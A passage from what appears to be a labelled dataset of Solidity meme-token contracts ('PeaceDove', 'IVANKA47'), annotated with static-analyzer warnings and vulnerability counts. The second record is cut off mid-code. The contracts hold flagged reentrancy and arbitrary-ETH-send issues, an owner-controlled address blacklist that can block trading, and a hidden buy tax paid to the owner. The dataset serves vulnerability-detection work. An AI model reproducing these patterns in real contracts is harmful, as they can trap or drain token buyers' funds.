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{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PeaceDove is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 406facb): PeaceDove._taxWallet should be immutable \n\t// Recommendation for 406facb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet =\n payable(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c547fbd): PeaceDove._initialBuyTax should be constant \n\t// Recommendation for c547fbd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c22c5b): PeaceDove._initialSellTax should be constant \n\t// Recommendation for 7c22c5b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca79b68): PeaceDove._finalBuyTax should be constant \n\t// Recommendation for ca79b68: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1b884de): PeaceDove._reduceBuyTaxAt should be constant \n\t// Recommendation for 1b884de: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 40;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bdcc980): PeaceDove.lastSellBlock should be constant \n\t// Recommendation for bdcc980: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dove of Peace\";\n\n string private constant _symbol = unicode\"PeaceDove\";\n\n uint256 private accumulatedTax = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private constant threshold = 10000000 * 10 ** _decimals;\n\n uint256 private constant maxSellCount = 500000;\n\n address private constant blackHoleAddress =\n 0x0000000000000000000000000000000000000000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 749c9a1): PeaceDove.uniswapV2Router should be immutable \n\t// Recommendation for 749c9a1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ccb0a8): PeaceDove.uniswapV2Pair should be immutable \n\t// Recommendation for 9ccb0a8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: b76a399): PeaceDove.sellsPerBlock should be constant \n\t// Recommendation for b76a399: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: e08fe0e): PeaceDove.buysFirstBlock should be constant \n\t// Recommendation for e08fe0e: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 100;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() Ownable() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b5b472f): PeaceDove.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b5b472f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9bc6439): PeaceDove._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9bc6439: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private lockTheSwap {\n require(from != address(0) && to != address(0), \"Invalid address\");\n\n require(amount > 0, \"Invalid amount\");\n\n uint256 buyTaxAmount = amount.mul(_initialBuyTax).div(100);\n\n uint256 sellTaxAmount = amount.mul(_initialSellTax).div(1000);\n\n if (marketPair[from]) {\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount.sub(buyTaxAmount));\n\n _balances[owner()] = _balances[owner()].add(buyTaxAmount);\n\n emit Transfer(from, to, amount.sub(buyTaxAmount));\n\n emit Transfer(from, owner(), buyTaxAmount);\n\n _buyCount++;\n } else if (marketPair[to]) {\n accumulatedTax = accumulatedTax.add(sellTaxAmount);\n\n sellCount++;\n\n if (accumulatedTax >= threshold) {\n if (sellCount <= maxSellCount) {\n _balances[_taxWallet] = _balances[_taxWallet].add(\n accumulatedTax\n );\n\n emit Transfer(address(this), _taxWallet, accumulatedTax);\n } else {\n _balances[blackHoleAddress] = _balances[blackHoleAddress]\n .add(accumulatedTax);\n\n emit Transfer(\n address(this),\n blackHoleAddress,\n accumulatedTax\n );\n }\n\n accumulatedTax = 0;\n }\n\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount.sub(sellTaxAmount));\n\n emit Transfer(from, to, amount.sub(sellTaxAmount));\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 88f6d16): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 88f6d16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 622101a): PeaceDove.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 622101a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: daa6c15): PeaceDove.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for daa6c15: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4961690): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4961690: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 88f6d16\n\t\t// unused-return | ID: daa6c15\n\t\t// reentrancy-eth | ID: 4961690\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 88f6d16\n\t\t// unused-return | ID: 622101a\n\t\t// reentrancy-eth | ID: 4961690\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 88f6d16\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4961690\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 88f6d16\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10088.sol",
"size_bytes": 15074,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e33174e): IVANKA.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for e33174e: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a759f13): IVANKA.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 1 * (_tTotal / 100)\n// Recommendation for a759f13: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: cd692b8): IVANKA.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for cd692b8: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a0f723a): IVANKA.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 1 * (_tTotal / 100)\n// Recommendation for a0f723a: Consider ordering multiplication before division.\ncontract IVANKA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d1954bc): IVANKA._taxWallet should be immutable \n\t// Recommendation for d1954bc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec2763c): IVANKA._initialBuyTax should be constant \n\t// Recommendation for ec2763c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: e64339f): IVANKA._initialSellTax should be constant \n\t// Recommendation for e64339f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: d9b79d2): IVANKA._finalBuyTax should be constant \n\t// Recommendation for d9b79d2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b92ee3): IVANKA._finalSellTax should be constant \n\t// Recommendation for 3b92ee3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 455bcfd): IVANKA._reduceBuyTaxAt should be constant \n\t// Recommendation for 455bcfd: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65ef61d): IVANKA._reduceSellTaxAt should be constant \n\t// Recommendation for 65ef61d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: adccdb4): IVANKA._preventSwapBefore should be constant \n\t// Recommendation for adccdb4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump's Daughter\";\n\n string private constant _symbol = unicode\"IVANKA47\";\n\n\t// divide-before-multiply | ID: a0f723a\n uint256 public _maxTxAmount = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: a759f13\n uint256 public _maxWalletSize = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 2aa1b5f): IVANKA._taxSwapThreshold should be constant \n\t// Recommendation for 2aa1b5f: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: e33174e\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 69d779a): IVANKA._maxTaxSwap should be constant \n\t// Recommendation for 69d779a: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: cd692b8\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal.mul(80).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(20).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal.mul(80).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(20).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b293214): IVANKA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b293214: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9aac2f6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9aac2f6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3e98792): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3e98792: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9aac2f6\n\t\t// reentrancy-benign | ID: 3e98792\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9aac2f6\n\t\t// reentrancy-benign | ID: 3e98792\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d20b730): IVANKA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d20b730: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3e98792\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9aac2f6\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2bad37c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2bad37c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a322be5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a322be5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 2bad37c\n\t\t\t\t// reentrancy-eth | ID: a322be5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2bad37c\n\t\t\t\t\t// reentrancy-eth | ID: a322be5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a322be5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a322be5\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a322be5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2bad37c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a322be5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a322be5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2bad37c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2bad37c\n\t\t// reentrancy-events | ID: 9aac2f6\n\t\t// reentrancy-benign | ID: 3e98792\n\t\t// reentrancy-eth | ID: a322be5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5fcf5a9): IVANKA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 5fcf5a9: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2bad37c\n\t\t// reentrancy-events | ID: 9aac2f6\n\t\t// reentrancy-eth | ID: a322be5\n\t\t// arbitrary-send-eth | ID: 5fcf5a9\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2d36eda): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2d36eda: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 33165e7): IVANKA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 33165e7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5de3bfd): IVANKA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5de3bfd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ac7705d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ac7705d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2d36eda\n\t\t// reentrancy-eth | ID: ac7705d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2d36eda\n\t\t// unused-return | ID: 33165e7\n\t\t// reentrancy-eth | ID: ac7705d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n 